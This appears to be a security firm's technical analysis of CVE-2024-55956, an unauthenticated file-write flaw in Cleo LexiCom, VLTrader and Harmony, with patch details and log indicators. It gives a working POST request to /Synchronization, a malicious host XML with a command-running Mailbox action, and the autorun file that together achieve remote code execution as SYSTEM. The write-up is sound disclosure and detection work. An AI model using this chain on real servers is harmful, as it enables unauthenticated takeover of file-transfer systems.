Activity Feed

Overview

On December 9, 2024, multiple security firms began privately reporting exploitation in the wild targeting the Cleo file transfer products LexiCom, VLTrader, and Harmony. The exploitation was initially thought to target an insufficient patch for CVE-2024-50623, an unrestricted file upload and download vulnerability that Cleo had patched in October 2024. On December 10, however, Cleo published a fresh advisory for a new critical vulnerability that allowed unauthenticated users to import and execute arbitrary bash or PowerShell commands on the host system by leveraging the default settings of Cleo’s Autorun directory. On December 13, the CVE identifier CVE-2024-55956 was assigned to the new vulnerability.

Rapid7 and others, including security firm Huntress, who first broke the news of the threat campaign, have observed exploitation in the wild across multiple customer environments. Rapid7 has observed enumeration and post-exploitation activity; our team has an analysis here of a modular Java backdoor dropped as part of this campaign. Notably, Huntress indicated exploitation was detected as early as December 3, 2024.

CVE-2024-55956 is an unauthenticated file write vulnerability that can be leveraged to achieve unauthenticated RCE against a vulnerable system.

The following product versions are affected by CVE-2024-55956:

• Cleo LexiCom, versions 5.8.0.23 and below.
  
• Cleo VLTrader, versions 5.8.0.23 and below.
  
• Cleo Harmony, versions5.8.0.23 and below.
  

What was CVE-2024-50623?

Before we can explore the new vulnerability, CVE-2024-55956, we must first understand an older vulnerability, CVE-2024-50623, and how it relates to CVE-2024-55956.

There has been some confusion as to what specific vulnerability has been leveraged during the exploitation that occurred circa December 2024, due to a similar vulnerability CVE-2024-50623, having been patched in version 5.8.0.21 circa October 2024. The vendor guidance for CVE-2024-50623 indicates that CVE-2024-50623 was exploited in the wild circa October 2024, and several IOCs related to webshells were published from this time.

CVE-2024-50623 is an unauthenticated file read and write vulnerability that allows a remote attacker to both read arbitrary files from the target system and write arbitrary files to the target system. Security firm watchTowr published a technical analysis of this vulnerability.

CVE-2024-50623 was patched in version 5.8.0.21 on October 29, 2024. However, version 5.8.0.21 of all three Cleo products was still vulnerable to the new issue, CVE-2024-55956.

Both CVE-2024-50623 and CVE-2024-55956 are unauthenticated file write vulnerabilities, due to separate issues in the /Synchronization endpoint. Therefore CVE-2024-55956 is not a patch bypass of CVE-2024-50623, but rather a new vulnerability. It is also worth highlighting that while CVE-2024-50623 allows for both reading and writing arbitrary files, CVE-2024-55956 only allows for writing arbitrary files. This is an important distinction, as we will see in a moment.

It is worth mentioning the exploitation strategy that was observed during exploitation in the wild for both of these vulnerabilities. According to the IOCs published by Cleo for CVE-2024-50623, CVE-2024-50623 was leveraged to write malicious HTML to the webserver\AjaxSwing\conf\templates\default-page\body-footerVL.html file. This was then leveraged to achieve server-side template injection (SSTI), and in turn execute an attacker-controlled payload in the form of a Nashorn webshell. The webshell can be found on VirusTotal here and was upload to VirusTotal on October 24, 2024.

The exploitation strategy for CVE-2024-55956 was observed to be very different. Rather than leveraging an SSTI to get RCE, the attackers instead leveraged the ability to import a malicious host file and then run malicious actions to execute OS commands. Specifically, adversaries used the unauthenticated file write vulnerability (CVE-2024-55956) to write a Zip file containing a malicious XML file describing a new host. The malicious XML file contained a Mailbox action associated with the new host, which when run would execute an arbitrary OS command. A second file was then written to the system to force this Zip file to be imported into the system, thus registering a new host. Finally the malicious Mailbox action was forced to run, thus executing a payload. More information about the XML file format for hosts can be found in the vendor documentation here.

In summary, while these two vulnerabilities (CVE-2024-50623 and CVE-2024-55956) are similar in that both allow an unauthenticated attacker to write arbitrary files, the exploitation strategy in each case was very different.

It should be noted that the exploitation strategy used is separate from the vulnerability itself. The vendor has described CVE-2024-55956 as a “Malicious Hosts Vulnerability”, but this describes the exploitation strategy rather than the root cause of the actual vulnerability (unauthenticated file write).

While researching how to leverage the SSTI exploitation strategy, Rapid7 determined that the SSTI was unable to be triggered without authentication. So while CVE-2024-50623 allowed for an unauthenticated attacker to write a malicious HTML file that leveraged an SSTI, the attacker then required credentials to access the malicious HTML, thus triggering the SSTI. It’s likely the attacker achieved this by also leveraging CVE-2024-50623 to read user credentials from a target system (remembering that CVE-2024-50623 is both an arbitrary file read and write vulnerability).

With this in mind, it becomes clear why a different exploitation strategy was needed for CVE-2024-55956, as CVE-2024-55956 is only an arbitrary file write vulnerability and does not have the ability to read arbitrary files. Therefore, to exploit CVE-2024-55956, the attacker needed an exploitation strategy that would work without the requirement to read credentials in order to trigger an SSTI and get remote code execution.

Analysis (CVE-2024-55956)

Our analysis was based upon Cleo LexiCom, version 5.8.0.21.

To reach the arbitrary file write vulnerability, the attacker must make an HTTP POST request to the /Synchronization endpoint. Requests to this endpoint are served by the method LexiCom.jar!com.cleo.lexicom.Syncer#syncIn, as shown below.

A malicious request can supply an HTTP header of VLSync, with a value of Multipart;l=0,Acknowledge. By adding the string Acknowledge to the header value, the checks at [1] can be skipped, allowing further processing to occur from an unauthenticated request. By adding the string Multipart to the header value, the token check at [2] will pass and the method multipartIn will be called, shown at [3] below.

// LexiCom.jar!com.cleo.lexicom.Syncer#syncIn
public int syncIn(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
	int statusCode = 500;
	InputStream in = null;
	int len = 0;

	try {
		try {
			in = httpRequest.getInputStream();
			len = httpRequest.getContentLength();
			boolean found = false;
			Enumeration headers = httpRequest.getHeaderNames();

			while(headers.hasMoreElements()) {
				String header = (String)headers.nextElement();
				if (header.equalsIgnoreCase(SYNC_HEADER)) {
					found = true;
					String value = httpRequest.getHeader(header);
					String serialNumber = getDecodedParameterValue(value, "l", true);
					String sourceIpAddress = (String)httpRequest.getAttribute("com.cleo.lexicom.remoteIP");
					if (!hasToken(value, START) && !hasToken(value, MISC_PERMISSION) && !hasToken(value, ACKNOWLEDGE)) { // <--- [1]
						SyncVersalexThread thread = this.findThread(serialNumber);
						if (thread == null) {
							String message = String.format("Received a synchronization request for an unrecognized %s serial number '%s' from source address %s.", LexHostBean.PRODUCT, serialNumber, sourceIpAddress);
							LexiCom.logDetail(new Object(), 0, message, "orange", true, true, true);
							short var39 = 401;
							return var39;
						}

						if (!sourceIpAddress.equals(thread.sourceIpAddress)) {
							String message = String.format("Received a synchronization request for a recognized %s serial number '%s', but from an unauthorized source address %s.", LexHostBean.PRODUCT, serialNumber, sourceIpAddress);
							LexiCom.logDetail(new Object(), 0, message, "orange", true, true, true);
							short var14 = 401;
							return var14;
						}
					}

					if (hasToken(value, START)) {
						statusCode = this.startIn(value, httpRequest.getHeader(ACK_HEADER), sourceIpAddress, httpResponse);
						httpResponse.setHeader(VERSION_HEADER, LexiCom.getVersion());
						if (statusCode == -403) {
							statusCode = 403;
						}
						break;
					}

					if (!hasToken(value, ADD) && !hasToken(value, UPDATE) && !hasToken(value, REMOVE)) {
						if (hasToken(value, MULTIPART)) { // <--- [2]
							this.debug(serialNumber, IN, REQUEST, value);
							statusCode = this.multipartIn(value, httpRequest.getHeader("Content-Type"), in); // <--- [3]
							this.debug(serialNumber, OUT, RESPONSE, SyncVersalexThread.getResponse((HTTPResponse)null, statusCode) + " (" + value + ")");
							break;
						}

The method LexiCom.jar!com.cleo.lexicom.Syncer#multipartIn will process an incoming HTTP multipart request. An HTTP multipart request with the following content data can reach the file write vulnerability.

VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="temp/hax.txt";receiptfolder=Unspecified;
--------boundary
HAX

The first line of the multipart data will be split into a colon-separated key-value pair, shown below at [4]. If the key is the string value VLSync (i.e. SYNC_HEADER), the check (shown below at [5]) will pass, and the value will be checked to contain a string token of ReceivedReceipt (i.e. RECEIVED_RECEIPT). If found, the method receivedReceiptIn will be called (shown below at [7]).

// LexiCom.jar!com.cleo.lexicom.Syncer#multipartIn
private int multipartIn(String header, String contentType, InputStream in) throws Exception {
	int statusCode = 200;
	String serialNumber = getDecodedParameterValue(header, "l", true);
	SyncVersalexThread thread = this.findThread(serialNumber);
	this.updateIn(thread);
	String boundary = Util.getParameter("boundary", contentType);
	boundary = Util.dequoteString(boundary);
	MultipartInputStream multipartIn = new MultipartInputStream(in, boundary.getBytes());
	byte[] bytes = new byte[8196];

	try {
		do {
			int read = multipartIn.readLine(bytes, 0, bytes.length);
			if (read > 0) {
				String line;
				for(line = new String(bytes, 0, read); line.endsWith("\r") || line.endsWith("\n"); line = line.substring(0, line.length() - 1)) {
				}

				this.debug(serialNumber, IN, REQUEST, MULTIPART + ": " + line);
				multipartIn.readLine(bytes, 0, bytes.length);
				int colon = line.indexOf(‘:’); // <--- [4]
				if (colon >= 0) {
					String key = line.substring(0, colon);
					String value = line.substring(colon + 1).trim();
					if (key.equals(SYNC_HEADER)) { // <--- [5]
						if (hasToken(value, RECEIVED_MESSAGE_ID)) {
							this.msgIdIn(serialNumber, value);
						} else if (hasToken(value, SENT_RECEIPT)) {
							if (!this.sentReceiptIn(serialNumber, value, multipartIn)) {
								statusCode = 400;
							}
						} else if (hasToken(value, RECEIVED_RECEIPT)) { // <--- [6]
							if (!this.receivedReceiptIn(serialNumber, value, multipartIn)) { // <--- [7]

The method LexiCom.jar!com.cleo.lexicom.Syncer#receivedReceiptIn will extract several parameter values from the multipart requests VLSync value, specifically a service, msgId, path, and a receiptfolder value.

The attacker-controlled service value is used to look up a service from a table of services the system supports, for example SMTP, Web Browser, or AS2. Requesting the AS2 service will retrieve an instance of the AS2::Local Listener service bean, shown below at [8].

The attacker-controlled receiptfolder value will be passed to the method checkReceiptFolder, shown below at [9]. If receiptfolder is either null or the string value Unspecified, then checkReceiptFolder will return true (shown below at [10]).

The attacker-controlled path value is then set to a SyncMetadata value, shown at [11] below, before being passed to a method call to receivedReceipt, shown at [12] below.

// LexiCom.jar!com.cleo.lexicom.Syncer#receivedReceiptIn
private boolean receivedReceiptIn(String serialNumber, String header, InputStream in) throws Exception {
	String service = getParameterValue(header, "service", false);
	String messageId = getParameterValue(header, "msgId", false);
	String path = getParameterValue(header, "path", false);
	String receiptFolder = getParameterValue(header, "receiptfolder", false);
	LexLocalHostBean localhost = LexiCom.activeXMLproxy.getLocalHost();
	if (localhost != null) {
		LexServiceBean servicebean = localhost.getService(service); // <--- [8]
		if (servicebean != null) {
			if (!this.checkReceiptFolder(servicebean, receiptFolder, path)) { // <--- [9]
				return false;
			}

			SyncMetadata data = new SyncMetadata();
			data.setPath(path); // <--- [11]
			servicebean.receivedReceipt(messageId, in, data); // <--- [12]
		}
	}

	this.checkSyncAllMessageIdsAndReceipts(serialNumber);
	return true;
}


// LexiCom.jar!com.cleo.lexicom.Syncer#checkReceiptFolder
private boolean checkReceiptFolder(LexServiceBean servicebean, String receiptFolder, String path) throws Exception {
	if (receiptFolder != null && !receiptFolder.equals(UNSPECIFIED_RECEIPT_FOLDER) && !receiptFolder.equalsIgnoreCase(servicebean.getReceiptFolder())) {
		Exception ex = new Exception("The synced receipt storage folder location '" + servicebean.getReceiptFolder() + "' did not match the syncing receipt storage folder location '" + receiptFolder + "'. Receipt '" + path + "' was not synced!");
		LexiCom.logDetail(this, ex, true, true, true);
		return false;
	} else {
		return true; // <---- [10]
	}
}	

In the AS2::Local Listener implementation of receivedReceipt, we can see the HTTP request’s input stream is read from and stored in a byte array called mdnBytes, shown at [13] below. This data will contain the remaining attacker-controlled data from the HTTP multipart request. The method saveMdn is then called, shown at [14] below.

// as2bean.jar!com.cleo.lexicom.beans.as2bean.AS2Service#receivedReceipt
public void receivedReceipt(String messageId, InputStream in, SyncMetadata data) throws Exception {
	ServiceUtility util = new ServiceUtility(this.getAlias(), "AS2", this.mdnFolder);
	byte[] mdnBytes = util.readMdnStream(in); // <--- [13]
	LexFile receivedMDN = util.saveMdn(messageId, mdnBytes, "received", data); // <--- [14]
	util.addTrackingInfo(receivedMDN, mdnBytes, messageId);
}

The above call to the method as2bean.jar!com.cleo.lexicom.beans.as2bean.ServiceUtility#saveMdn is passed an attacker-controlled path via the data parameter, and attacker-controlled bytes to write via the mdnBytes parameter.

The attacker-controlled path is resolved via a call to checkAndDeriveMdnPath at [15] below, before a new LexFile instance is created for this file path. Finally, the attacker-controlled bytes are written to the file located at the attacker-controlled path, shown at [16] below.

// as2bean.jar!com.cleo.lexicom.beans.as2bean.ServiceUtility#saveMdn
protected LexFile saveMdn(String messageId, byte[] mdnBytes, String mdnType, SyncMetadata data) throws Exception {
	if (mdnBytes == null) {
		return null;
	} else {
		OutputStream out = null;
		LexFile mdn = null;
		String mdnPath = this.checkAndDeriveMdnPath(messageId, mdnBytes, mdnType, data); // <--- [15]

		try {
			mdn = new LexFile(mdnPath);
			if (!mdn.exists()) {
				LexFile folder = LexBean.getAbsolute(new LexFile(mdn.getParentFile()));
				if (!folder.exists()) {
					folder.mkdirs();
				}

				out = new BufferedOutputStream(LexIO.getFileOutputStream(mdn, false, true, false));
				out.write(mdnBytes); // <--- [16]
			}
		} finally {
			try {
				if (out != null) {
					out.close();
				}
			} catch (IOException var14) {
			}

		}

		return mdn;
	}
}

Note that, while the multipart request token value of ReceivedReceipt is used to reach an arbitrary file write operation via the method as2bean.jar!com.cleo.lexicom.beans.as2bean.AS2Service#receivedReceipt, a different multipart request token value of SentReceipt can also be used to reach the same arbitrary file write operation, via the method as2bean.jar!com.cleo.lexicom.beans.as2bean.AS2Service#sentReceipt in the same affected AS2 service. Both arbitrary file write operations are ultimately performed by the method as2bean.jar!com.cleo.lexicom.beans.as2bean.ServiceUtility#saveMdn.

Based upon the above, the following POST request allows an unauthenticated attacker to write arbitrary data to an arbitrary file on the target system.

POST /Synchronization HTTP/1.1
Host: 192.168.86.50:5080
Connection: close
Content-Type: application/form-data;boundary=--------boundary
VLSync: Multipart;l=0,Acknowledge
Content-Length: 119

VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="temp/hax.txt";receiptfolder=Unspecified;
--------boundary
HAX

Exploitation

To exploit this file write vulnerability, the exploitation strategy observed being used in the wild involves the following two steps.

First a Zip file is written to a location on the target system. This Zip file will contain an XML file describing a host. The host XML file will contain a malicious Mailbox action. When the malicious Mailbox action is run, it will execute an attacker-controlled OS command.

With this Zip file written to disk, the attacker must first import the Zip file in order to add the new host to the system. With the host added to the system, the attacker must then force the new host’s malicious Mailbox action to run, thus executing the attacker’s payload in the form of a malicious OS command.

For example, the following XML file (modified from the observed IOCs) will describe a new host, with a malicious Mailbox action, which in the example below will simply execute the notepad.exe application.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Host alias="d7cc2490-03a9-48a8-8afd-bd7042cfdbd5" application="" by="Administrator" class="*CwwQNwwbER4SEhA8Ex4cEDNRQQwRBwsbGk5TEQdOEAUWTkM*" created="2020/10/10 00:00:00" enabled="True" enc="9572464e-78b5-4635-8a3b-0b9799dd8bf9" local="True" modevent="Modified" modified="2020/10/10 00:00:00" moditem="&lt;copy&gt;myCommands@Local Commands" modtype="Actions" preconfigured="2009/10/30 15:15" ready="True" standaloneaction="False" test="False" transport="" type="" uid="d630a5eb-2c5a-42e6-9540-77c2ba510622" version="1">
  <Connecttype>0</Connecttype>
  <Inbox>inbox</Inbox>
  <Index>0</Index>
  <Indexdate>-1</Indexdate>
  <Internal>0</Internal>
  <Notes>This contains mailboxes for a local host which can be used for local commands only.</Notes>
  <Origin>Local Commands</Origin>
  <Outbox>outbox</Outbox>
  <Port>0</Port>
  <Runninglocalrequired>True</Runninglocalrequired>
  <Secureportrequired>False</Secureportrequired>
  <Uidswpd>True</Uidswpd>
  <Advanced>ZipCompressionLevel=System Default</Advanced>
  <Advanced>XMLEncryptionAlgorithm=System Default</Advanced>
  <Advanced>HighPriorityIncomingWeight=10</Advanced>
  <Advanced>PGPHashAlgorithm=System Default</Advanced>
  <Advanced>HighPriorityOutgoingWeight=10</Advanced>
  <Advanced>PGPCompressionAlgorithm=System Default</Advanced>
  <Advanced>OutboxSort=System Default</Advanced>
  <Advanced>PGPEncryptionAlgorithm=System Default</Advanced>
  <Mailbox alias="efc76ba0-20ad-47cd-954c-cd5d5b46d33d" class="*BxAdExYeMgwbER4SEhA8Ex4cEDNR" created="2020/10/10 00:00:00" enabled="True" localdecryptcert="" localencryptcert="" localpackaging="None" partnerdecryptcert="" partnerdecryptpassword="" partnerencryptcert="" partnerpackaging="None" ready="True" uid="b7db25c7-895e-440d-9217-92b2ccd522eb" version="1">
    <Action actiontype="Commands" alias="6cad07d8-b297-4dea-b0ea-c6f0381e4167" by="Administrator" class="*ERAWCxw+DBsRHhISEDwTHhwQM1E*" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" uid="a8b691ff-032e-4fb6-bebc-e65a3032edcd" version="2">
      <Autostartup>False</Autostartup>
      <Commands><![CDATA[SYSTEM cmd.exe /c "notepad.exe"]]></Commands>
      <Filesin>0</Filesin>
      <Filesout>0</Filesout>
      <Ssl>False</Ssl>
    </Action>
  </Mailbox>
</Host>

Note that in the example above, the new host will have a GUID value of d7cc2490-03a9-48a8-8afd-bd7042cfdbd5, the Mailbox will have a GUID value of efc76ba0-20ad-47cd-954c-cd5d5b46d33d, and the Mailbox action will have a GUID value of 6cad07d8-b297-4dea-b0ea-c6f0381e4167. These GUID values can be chosen by the attacker and are required to run the Mailbox action, as shown below.

To both import the new host and run the malicious Mailbox action, the attacker can leverage the autorun folder on the target system. Any file written to the autorun folder will be automatically processed by the server. This allows operations such as importing and running actions to be performed. Importing can be performed via the -i switch, and running an action can be performed via the -r switch. More information about the different commands that can be run via autorun files, and their syntax, can be found in the vendor documentation here.

When a file with the below contents is written to the autorun folder, it will trigger RCE.

-i "temp/malicious_host_zip.tmp"
-r "<6cad07d8-b297-4dea-b0ea-c6f0381e4167>efc76ba0-20ad-47cd-954c-cd5d5b46d33d@d7cc2490-03a9-48a8-8afd-bd7042cfdbd5"

Therefore, by leveraging CVE-2024-55956 to write two files to the target system, an unauthenticated attacker can achieve RCE.

On a Windows target, the attacker executes code with local system privileges, as shown below.

Remediation

On Dec 11, 2024, Cleo released a patch, version 5.8.0.24, which remediates CVE-2024-55956. The patch release notes contained the following description of the fix:

Addresses a critical vulnerability which exploits the ability for unrestricted file upload and download and execute malicious host definitions in the product (pending CVE). After applying the patch, errors are logged for any files found at startup related to this exploit, and those files are removed.

Rapid7 has verified that the vulnerability, as described in this analysis, is successfully remediated by applying the vendor patch.

IOCs

Successful exploitation of CVE-2024-55956 will leave several artifacts in the product log files (assuming the attacker has not cleared the logs).

The log file C:\LexiCom\logs\LexiCom.dbg will contain some detailed information about the incoming requests that the /Synchronization endpoint has. For example, below we can see a malicious multipart request that writes a file temp/vovfxqcz.tmp (the malicious host Zip file), and a second request that write a file autorun/zzsgdmja.tmp to both import the host and run the malicious Mailbox action. Finally we can see the attacker’s payload command being executed, which in the example below was simply to execute the notepad.exe application.

We can also note that the incoming requests contain the Multipart identifier, as well as service="AS2", which is the service that performs the arbitrary file write.

02:39:13 LexiCom.syncer 0 Request In <<< Multipart;l=0,Acknowledge
02:39:13 LexiCom.syncer 0 Request In <<< Multipart: VLSync: ReceivedReceipt;service="AS2";msgId=nneaksbm;path="temp/vovfxqcz.tmp";receiptfolder=Unspecified;
02:39:13 LexiCom.syncer 0 Response Out >>> 200  OK (Multipart;l=0,Acknowledge)
02:39:13 LexiCom.syncer 0 Request In <<< Multipart;l=0,Acknowledge
02:39:13 LexiCom.syncer 0 Request In <<< Multipart: VLSync: ReceivedReceipt;service="AS2";msgId=waxhmtmt;path="autorun/zzsgdmja.tmp";receiptfolder=Unspecified;
02:39:13 LexiCom.syncer 0 Response Out >>> 200  OK (Multipart;l=0,Acknowledge)
Fri Dec 13 02:39:14 PST 2024 XMLProxy.checkAlias - className: .LocalCommandsHost

SYSTEM command >cmd.exe /c "notepad.exe"< starting...

SYSTEM command >cmd.exe /c "notepad.exe"< complete; success=>false<

The log file C:\LexiCom\logs\LexiCom.xml will contain some detailed information about the importing of a new host, running an action, and the actions command, which will show the payload used.

<Event>
<Detail level="0">Note: Processing autorun file 'autorun\zzsgdmja.tmp'.</Detail>
<Mark date="2024/12/13 02:39:14" EN="120"></Mark></Event>

<Event>
<Detail level="0" color="orange">Warning: LexiCom is version 5.8.0.0, but importing files from a VersaLex with an unknown version.</Detail>
<Mark date="2024/12/13 02:39:14" EN="121"></Mark></Event>

<Event>
<Detail level="0">Note: Import started for 'temp\LexiCom6334463427096703279.tmp'.</Detail>
<Mark date="2024/12/13 02:39:14" EN="122"></Mark></Event>

<Event>
<Detail level="0">Note: Importing 'hosts\main.xml' (2.274 kBytes)...</Detail>
<Mark date="2024/12/13 02:39:14" EN="123"></Mark></Event>

<Event>
<Detail level="0">Note: Import complete.</Detail>
<Mark date="2024/12/13 02:39:14" EN="124"></Mark></Event>

<Event>
<Thread type="AutoRun" action="&lt;0d333d87-bcdf-46e2-b26f-14dea9f3ec5c&gt;391b52b5-b18e-4578-b57b-bb10e0a8eff8@184cba98-c715-4192-8c8f-2bdb5610db12" actionId="Ge8Ft44nRpyaMeC5CGdjpA" connectionId="4fic-bIFQwGOPZ77BFX7qw"></Thread>
<Mark date="2024/12/13 02:39:16" TN="12" EN="125"></Mark></Event>

<Event>
<Command text="SYSTEM cmd.exe /c &quot;notepad.exe&quot;" type="System" line="1"></Command>
<Mark date="2024/12/13 02:39:16" TN="12" CN="1" EN="126"></Mark></Event>

<Event>
<Detail level="1">Executing 'cmd.exe /c "notepad.exe"'; successful return status is '0'; waiting for process to complete...</Detail>
<Mark date="2024/12/13 02:39:16" TN="12" CN="1" EN="127"></Mark></Event>

<Event>
<Result text="Error" command="SYSTEM cmd.exe /c &quot;notepad.exe&quot;" line="1" runtype="AutoRun">Return status=1</Result>
<Mark date="2024/12/13 02:39:22" TN="12" CN="1" EN="128"></Mark></Event>

Any files written to the C:\LexiCom\autorun\ folder will be deleted by the product after they have been automatically processed, so this folder is likely to remain empty.

If the attacker stages the malicious Zip file in the C:\LexiCom\temp\ folder, it may still be present, unless the attacker has either manually removed it or written this file to a different location.

References

• Vendor advisory
  
• Vendor guidance
  
• Rapid7 blog
  
• Rapid7 Java backdoor analysis
  
• Huntress blog